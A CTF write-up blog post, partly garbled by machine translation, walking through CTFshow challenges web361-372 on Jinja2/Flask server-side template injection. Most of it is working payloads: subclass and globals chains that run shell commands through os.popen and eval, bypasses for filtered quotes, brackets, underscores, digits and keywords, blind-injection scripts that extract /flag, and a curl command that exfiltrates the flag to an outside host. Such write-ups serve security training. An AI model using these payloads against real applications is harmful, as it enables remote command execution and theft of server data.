CTFshow question brushing Diary - WEB-SSTI(web361-372)

Keywords: Python CTF

ssti, mostly python ssti

Preview link

Link 1 Link 2

Basic knowledge

Code block

Variable block {{}}	Used to print expressions to template output
 Annotation block {##} 	 notes
 Control block	{%%}	You can declare variables or execute statements
 Line declaration	##		Can have the same effect as {%%}

common method

__class__           View the class of the object
__mro__             View the inheritance relationship and call order, and return tuples
__base__            Return base class
__bases__           Return base class tuple
__subclasses__()    Returns a list of subclasses
__init__            Call the initialization function, which can be used to jump to__globals__
__globals__         Returns the global variable defined by the global namespace where the function is located, and returns the dictionary
__builtins__        Returns the built-in namespace dictionary
__dic__              Class static functions, class functions, ordinary functions, global variables and some built-in properties are placed in the class__dict__in
__getattribute__()   Instances, classes, and functions all have__getattribute__Magic method. In fact, in the instantiated object.When operating (e.g:a.xxx/a.xxx())		Will be called automatically__getattribute__Method. Therefore, we can also obtain the properties of instances, classes and functions directly through this method.
__getitem__()        Calling the key value in the dictionary is actually calling this magic method, such as a['b'],namely a.__getitem__('b')
__builtins__         Built in namespaces. Built in namespaces have many mappings between names and objects, and these names are actually the names of built-in functions, and the objects are the built-in functions themselves, that is, there are many commonly used functions.__builtins__And__builtin__The difference is not let go, Baidu has.
__import__           Dynamically loading classes and functions, that is, import modules, are often used for import os modular,__import__('os').popen('ls').read()]
__str__()            Return the string describing the object. It can be understood that the achievement is printed out.
url_for              flask A method that can be used to get__builtins__,and url_for.__globals__['__builtins__']contain current_app
get_flashed_messages flask A method that can be used to get__builtins__,and url_for.__globals__['__builtins__']contain current_app
lipsum               flask A method that can be used to get__builtins__,and lipsum.__globals__contain os modular:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app          Application context, a global variable
request              It can be used to obtain strings to bypass, including the following, and refer to master Yu's. In addition, it can also be obtained open function:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get Transmission parameter
request.values.x1 	 All parameters
request.cookies      cookies parameter
request.headers      Request header parameters
request.form.x1   	 post Transmission parameter	(Content-Type:applicaation/x-www-form-urlencoded or multipart/form-data)
request.data  		 post Transmission parameter	(Content-Type:a/b)
request.json		 post pass json  (Content-Type: application/json)
config               current application In addition, this can also be done{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

filter

int()		Convert value to int Type;

float()		Convert value to float Type;

lower()		Convert string to lowercase;

upper()		Convert string to uppercase;

title()		Capitalize the first letter of each word in the value;

capitalize()	Convert the first letter of the variable value to uppercase and the other letters to lowercase;

trim()		Intercept the white space characters before and after the string;

wordcount()	Calculate the number of words in a long string;

reverse()	String inversion;

replace(value,old,new)	Replace will old Replace with new String of;

truncate(value,length=255,killwords=False)	intercept length String of length;

striptags()	Delete all in the string HTML Label. If multiple spaces appear, it will be replaced with one space;

escape()or e	Escape character, will<,>Equal sign conversion HTML Symbols in. Notable examples: content|escape or content|e. 

safe()		Disable HTML Escape. If global escape is enabled, then safe The filter turns off the escape of variables. Example: {{'<em>hello</em>'|safe}};

list()		List variables;

string()	Convert variables into strings;

join()		Concatenate parameter values in a sequence into strings. See the example above payload;

abs()		Returns the absolute value of a numeric value;

first()		Returns the first element of a sequence;

last()		Returns the last element of a sequence;

format(value,arags,*kwargs)	Format string. For example:{{"%s" - "%s"|format('Hello?',"Foo!") }}Will output: Helloo? - Foo!

length()	Returns the length of a sequence or dictionary;

sum()		Returns the sum of the values in the list;

sort()		Return the sorted list;

default(value,default_value,boolean=false)	If the current variable has no value, the value in the parameter is used instead. Example: name|default('xiaotuo')----If name If it does not exist, it will be used xiaotuo Instead. boolean=False The default is when only this variable is undefined It will only be used when necessary default If you want to use python Judge whether it is in the form of false,Can be passed boolean=true. You can also use or To replace.

length()	Returns the length of the string. The alias is count

Utilization chain

python2 and python3 common payload s (because each environment uses different Python libraries, the sorting of classes is different)

  • Use popen directly (not Python 2)

    os._wrap_close There are in the class popen
    
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
    
  • Use popen under os

    contain os All base classes are OK, such as linecache
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
    
  • Use the os under _import _ (not Python 2)

    have access to __import__ of os
    
    "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
    
  • __Multiple functions under builtins _

    __builtins__Under there eval,__import__And so on, which can be used to execute commands
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
    
  • Using python2's file class to read files

    stay python3 in file Class deleted
    
    # read file
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
    # Write file
    "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
    # The str type of python2 is not directly subordinate to the base class, so it needs to be used twice__
    
  • Flash built-in function

    Flask Built in functions and built-in objects can be{{self.__dict__._TemplateReference__context.keys()}}View, and then you can view the types of these things. Classes can__init__Method jump to os,Function directly__globals__Method jump to os. (payload All at once)
    
    {{self.__dict__._TemplateReference__context.keys()}}
    #View built-in functions
    #Functions: lipsum, url_for,get_flashed_messages
    #Classes: cycler, joiner, namespace, config, request, session
    {{lipsum.__globals__.os.popen('ls').read()}}
    #function
    {{cycler.__init__.__globals__.os.popen('ls').read()}}
    #class
    

    If you want to check config but filter config, you can directly use self__ dict__ You can find what's inside

  • Generic getshell

    The principle is to find __builtins__ Class, and then use
    
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
    #Read write file
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

Injection ideas

1.Use any built-in class object__class__Get his corresponding class
2.use__bases__Get the base class(<class 'object'>)
3.use__subclasses__()Get the subclass list
4.Directly find the available classes in the subclass list getshell

object→class→Basic class→Subclass→__init__method→__globals__attribute→__builtins__attribute→eval function

web361 - no filtering

Tip: the name is the test site

I thought it was the title, but the result was English name

Under simple test

?name={{7*7}}
# Echo 49, indicating that the statement is executed

Find available functions

?name={{%27%27.__class__.__base__.__subclasses__()}}

Provides the popen function in os._wrap_close

?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac ../flag').read()}}

# The disadvantage of this method is that you need to find the index of the class

132 this location can be found by script

f = open('test.txt', 'r')
data = f.read()
r = data.split("<TemplateReference None>")
for i in range(len(r)):
    if 'catch_warnings' in r[i]:
        print(i, '~~~', r[i])
f.close()

You can also execute commands directly with lipsum and cycler

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

Or use the control block to execute the command directly

?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}

There are many methods available

web362 - no filtering

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
# x can be any English letter or letter combination

web363 - filter single and double quotation marks

Single quotation marks and double quotation marks are filtered

get parameter passing method bypass

?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

String splicing bypass

(config.__str__()[2])
(config.__str__()[42])	

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
be equal to
?name={{url_for.__globals__['os']}}

By chr splicing

First find out the chr function and splice it with chr

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

Splice through filter

(()|select|string)[24]

web364 - filter args

Single and double quotation marks filtered, args

values gets all parameters, bypassing args

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

It can also be bypassed through cookie s

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag

String variable bypass method

1. Splicing

"cla"+"ss"

2. Reverse

"__ssalc__"[::-1]

But in fact, I found that the plus sign is redundant. In jinjia2, "cla" and "ss" are equivalent to "class", that is, we can reference class in this way and bypass string filtering

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3. ascii conversion

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4. Code bypass

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
about python2 You can also use base64 Bypass
"__class__"==("X19jbGFzc19f").decode("base64")

5. Using chr function
Because we can't use the chr function directly, we need to find it through _builtins _

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6. In jinja2, ~ can be used for splicing

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7. Case conversion
The premise is that only lowercase is filtered

""["__CLASS__".lower()]

8. Use filter

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)


(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

dict(__clas=a,s__=b)|join

Get key value or subscript

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

get attribute

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

The above is from Master Yu's blog link

web365 filter brackets []

Run the fuzz y dictionary again and find that single and double quotation marks, args and [] are filtered

Method 1: pass values to parameters

# values are not filtered
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

Method 2: cookie transfer parameters

# Cookies can be used
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

Method 3: String splicing

Brackets can be bypassed a little__ getitem__ You can wait

Pass__ getitem__ () construct arbitrary characters, such as

?name={{config.__str__().__getitem__(22)}}   # It's 22

python script

# anthor: Xiuer
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url%(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j:
            print("config.__str__().__getitem__(%d) == %s"%(i,j))
            result+="config.__str__().__getitem__(%d)~"%(i)
            break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

web366 - filter underline

Single and double quotation marks, args, brackets [], underscores are filtered

Parameter bypass detection

values Edition

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

Because the back-end only detects the part of the name parameter, other parts can pass in any character, just like rce bypassing

cookie simplified

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

web367 filter os

Single and double quotation marks, args, brackets [], underscores and os are filtered

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368 filtering{{

Filter single and double quotation marks, args, brackets [], underscores, os{{

Method 1: {% bypass

Only two left parentheses are filtered, not filtered {%

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

Method 2: {%%} blind injection

principle

open('/flag').read() is to echo the whole file, but add the parameter: open('/flag').read(1) to the read function. The return is to read out i characters in the read file, and so on. You can inject it blindly

# anthor: Xiuer
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
   
            'name':"{
   {% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
   {% if a==request.values.d %}}feng{
   {% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

Note that {{and}} are used in name because I use the format to format the string and use {} to occupy the position. If there are {and} in it, you need to use {{and}} instead of {and}

web369 filter request

Filter single and double quotation marks, args, brackets [], underscores, os, {{, request

Finally, the request was received by ban

Method 1: String splicing

The bypass method is to use the string splicing of question 365, but the underscore is ban and _str_ () cannot be used. You need to use the string filter to obtain the config string: config|string, but after obtaining the string, you should use square brackets or _getitem_() However, the problem is that is ban, so it is difficult to obtain a character in the string. Here, it is converted into a list, and then the pop method of the list can successfully obtain a character. When running characters, it is found that there is no lowercase B, but only uppercase B, so go to the. lower() method to run more characters

The python script is as follows

# anthor: Xiuer
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={
   {% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower() == %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

payload

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

Method 2: replace characters

?name=
{% set a=(()|select|string|list).pop(24) %}
{
   % set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{
   % set init=(a,a,dict(init=1)|join,a,a)|join %}
{
   % set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{
   % set a=(lipsum|attr(globals)).get(builtins) %}
{
   % set chr=a.chr %}
{
   % print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

amount to

lipsum.__globals__['__builtins__'].open('/flag').read()

# Get chr in _builtins _ _, and you can also easily construct characters

web370 - filter numbers

Filter numbers

{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = chr(numm)~dict(flag=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}

web371 - no echo

Filter the print keyword, and the flag will not be echoed. You can use the curl command to bring out the flag. The number range used in the last two questions is the ascii code value of the visible character, so construct 0-9 for splicing

{%set e=dict(a=a)|join|count%}
{%set ee=dict(aa=a)|join|count%}
{%set eee=dict(aaa=a)|join|count%}
{%set eeee=dict(aaaa=a)|join|count%}
{%set eeeee=dict(aaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaa=a)|join|count%}
{%set eeeeeee=dict(aaaaaaa=a)|join|count%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|count%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|count%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set import=x~x~(dict(import=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = 
%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}
eastjun
{%endif%}

Use the command generation script to write a _import _ ('os'). System ('curl eastjun. Top? Cat / flag ') to the location of cmd

import re
def filting(s):
    return "".join([f"chr({ord(i)})~" for i in s])[:-1]
cmd=filting("curl https://eastjun.top?flag=`cat /flag`")
nums = set(re.findall("(\d+)",cmd))
for i in nums:
    patnum = "".join(["zero~" if j=="0" else f'{"e" * int(j)}~' for j in f"{i}"])
    cmd = cmd.replace(f"{i}",f"({patnum[:-1]})|int")
print(cmd)

web372 - no echo filter count

{%set e=dict(a=a)|join|length%}
{%set ee=dict(aa=a)|join|length%}
{%set eee=dict(aaa=a)|join|length%}
{%set eeee=dict(aaaa=a)|join|length%}
{%set eeeee=dict(aaaaa=a)|join|length%}
{%set eeeeee=dict(aaaaaa=a)|join|length%}
{%set eeeeeee=dict(aaaaaaa=a)|join|length%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|length%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|length%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|length%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set import=x~x~(dict(import=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = 
%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}
eastjun
{%endif%}

The above three questions are extracted from master eastjun's blog

Reference link

The blogs of these four masters are great. This article also refers to the blogs of great masters, which makes me learn a lot and worship

https://eastjun.top/2021/04/03/ctfshow-ssti/

https://blog.csdn.net/miuzzx/article/details/110220425

http://article.docway.net/it/details/603372874da5fa7d6084f89c

http://www.cl4y.top/ssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/

Posted by Stingus on Sun, 26 Sep 2021 02:13:56 -0700